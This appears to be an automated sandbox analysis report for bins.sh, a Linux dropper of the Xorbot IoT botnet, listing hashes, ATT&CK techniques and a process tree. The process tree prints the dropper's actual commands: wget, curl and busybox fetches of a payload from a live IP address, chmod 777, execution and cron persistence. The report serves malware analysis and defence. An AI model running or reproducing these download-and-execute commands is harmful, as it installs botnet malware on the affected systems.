xorbot | aebb1cf829ec2f35ee0146b54267a70f5f85b69adbb93fb8a3990846810393ab

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
05/01/2025, 07:26

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General

Target

bins.sh
Size

10KB
MD5

35db236417698c215c332fd24c9bc02b
SHA1

d2e56a1c81273893eaadc18883c0205088793c25
SHA256

aebb1cf829ec2f35ee0146b54267a70f5f85b69adbb93fb8a3990846810393ab
SHA512

b03a51f3bd52a962c14b7f9ffcd7c8af340d5995c87e0e550e2fff4d4ab5442d518bc1c74bf7524d4d6f76b05f6e8757a3c9aba01cc6be5c27e572af8c725cd4
SSDEEP

192:bfqxWlqR1lxlj0RJJFRpoQvtSwFiaCf7CkqxWlqR1l3eRJJFRpoQTGs5iaCf73:bcjYTD9tSwFiaCf7CSTDNGs5iaCf73

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2139) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1493	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J	1494	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J

Renames itself 1 IoCs

pid	Process
1495	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.nQCVQK	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1772/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/944/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/999/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1675/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1736/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1793/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1840/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/345/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1509/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1622/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1750/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1832/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/438/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1321/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1607/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1609/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/867/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1606/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1759/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1810/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1814/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1524/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1599/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1543/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1591/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1612/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1638/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1827/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1139/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1522/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1608/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1331/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1557/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1643/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1837/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1545/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1564/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1527/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1706/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1728/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/172/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/344/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1796/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/461/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/658/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1623/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1812/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1096/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1481/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/532/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1640/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/169/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/32/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/167/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1076/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1275/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1085/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1590/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1627/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/160/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/170/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/1687/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/154/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
File opened for reading	/proc/704/cmdline	cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J	wget
File opened for modification	/tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J	curl
File opened for modification	/tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1478
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1479
- /usr/bin/wget
  wget http://66.63.187.225/bins/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
  2⤵
  - Writes file to tmp directory
  PID:1480
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
  2⤵
  - Writes file to tmp directory
  PID:1484
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
  2⤵
  - Writes file to tmp directory
  PID:1492
- /bin/chmod
  chmod 777 cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
  2⤵
  - File and Directory Permissions Modification
  PID:1493
- /tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
  ./cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1494
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1496
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1497
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1498
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1499
- /bin/rm
  rm cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
  2⤵
  PID:1501
- /usr/bin/wget
  wget http://66.63.187.225/bins/COCcstraAjeKbnSWLDeJkLO9FrnbhHWSGK
  2⤵
  PID:1504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.nQCVQK

Filesize
210B

MD5
becfc189b7df6c918d0595acde2f33ba

SHA1
74f4c4ab4760f305d918daeaffe87f12427c0967

SHA256
8d03f625f158b1a2d010061ad8875a647ea2afddf425f3c85100ffaac3cedd19

SHA512
5c2cb53744e11b53f02054e3fc5097679153c968c6f3d36e777de66a67c6be33e8f15b28b25bf9529bdb34facfc15c4eaccc9c2c4537d10fd6625dde0f439115

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads